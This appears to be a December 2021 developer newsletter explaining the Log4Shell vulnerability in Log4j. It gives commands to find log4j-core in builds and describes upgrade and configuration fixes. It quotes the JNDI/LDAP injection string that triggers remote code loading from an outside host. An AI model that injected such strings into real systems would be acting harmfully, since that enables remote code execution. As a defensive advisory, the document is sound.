sebastiandaschner news


sunday, december 12, 2021

Welcome to another newsletter which is a somewhat special on what happened to Log4j on Friday:

Since Friday, the Java and general IT world has been in a bit of turmoil after a zero-day vulnerability in the widely-used logging framework Log4j has been disclosed.

You’ve probably heard about it a few times already; if not, what happens in a nutshell is that one can trigger a remote code execution (RCE) by providing a string in a certain format that ends up being logged. The strings look as follows: ${jndi:ldap://someurl/somepath} and as you probably can guess will cause an LDAP lookup to that location and possibly fetch some compiled code and execute it. In other words, if a malicious user can somehow provide a string that ends up being logged with Log4j they can exploit this possibility. The reason why Log4j performs these lookups to begin with is for legacy features and backwards compatibility.

Now you might say that this doesn’t apply to you since you’re not using Log4j, well, you might actually if any third-party dependency includes log4j-core, which a lot do. So, and this is not a joke, if you’re responsible for building any Java application and I’m sure most of my readers are, as the first thing on Monday morning go and check if your Java builds contain this dependency.

 

Quickly checking your applications

A quick way to check if you directly or indirectly package log4j-core is to look at your packaged JAR or WAR application and see which libraries it includes:

# for most Maven projects, after a full build:
find target/ "*log4j*"

# or look into the lib directories, depending on your build
ls -ahl target/lib/
ls -ahl target/quarkus-app/lib/*

You can also generate a directory hierarchy with your IDE or build tool, but be aware that this might include test dependencies as well:

mvn dependency:tree
mvn dependency:tree | grep log4j

 

Closing the vulnerability

Now if you do include log4j-core and the version is older than 2.15.0 (which is likely since that was just released), you are likely affected by the vulnerability. Likely, because some newer JDK minor versions include a property com.sun.jndi.ldap.object.trustURLCodebase set to false, but let’s better be safe than sorry.

The easiest way to fix the situation is to bump the version of log4j-core to the new 2.15.0 which closes the vulnerability. If that is not easily possible because of dependency hierarchies, or because your project build is too complex, there are other ways to fix this without even rebuilding your application:

You can also either set a Java System property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true, e.g. by -Dlog4j2.formatMsgNoLookups=true, depending on what’s easier in your setup. If you run containerized workloads, e.g. on Kubernetes, it might be the easiest to include the environment variable that can be injected without changing either your container image nor the way how you run it. Make sure you deploy this ASAP (yes, that’s not a joke) and then you have some time to sort out your dependencies.

 

More information

You can find more information by just searching for Log4Shell or CVE-2021-44228.

There’s even an open-source project that provide a way of fixing the vulnerability via an LDAP RCE, which uses the vulnerability in order to close it, literally vaccinating your workloads.

I also posted this write up on my blog.

 

My thoughts

As for my view on it, this somewhat reminds me of some talks I gave in 2016 and 2017 about our enterprise frameworks and how we should deal with the dependencies, and also how much logging we need, if we build apps for a containerized world. Personally, I don’t make much use of logging, mostly only for errors which you can’t handle in any other possible way (e.g. when the database isn’t available anymore), in which case I usually log an error. For all my recent cloud-native Java apps, I literally use System.out and System.err to log, sometimes encapsulated by a logger-like facade. Since the output will be aggregated via StdOut anyway, that’s a direct and easy way.

When I heard about this vulnerability, I did check all my projects that are available in production and none did include log4j-core. They’re all powered by Quarkus and Quarkus doesn’t include Log4j per default. But still, if you use any third-party dependency they might pull it in, so in any case you should check.

But also, I see a lot of positive things in this situation. First of all, it shows us how healthy the Java ecosystem is. Most of the projects use build tools with rather strict but precise dependency specifications and ways to build in a reproducible way, which makes detecting and changing dependencies and their versions possible and comparably easy. This reminded me of similar situations in other programming language ecosystems and I’m rather pleased to see how smooth one can fix this vulnerability. On the other hand, it also needs to be pointed out, how quickly the Log4j maintainers reacted and pulled out a new release. We should remember that most open-source developers do this in their free time without being paid for it, which frankly sometimes just blows my mind how much of the modern world relies on a few technologies that we all and huge companies use for free, for the most part. And lastly, I was also very glad to see how many people in the open-source world and on Twitter jumped in and provided quick fixes and ways to close this bug if you can’t quickly rebuild your application.

So, I hope this was helpful, to sum it up, quickly check your Java applications, and fix your deployments if you have to. Thanks for reading and see you next time!

 

Did you like the content? You can subscribe to the newsletter for free: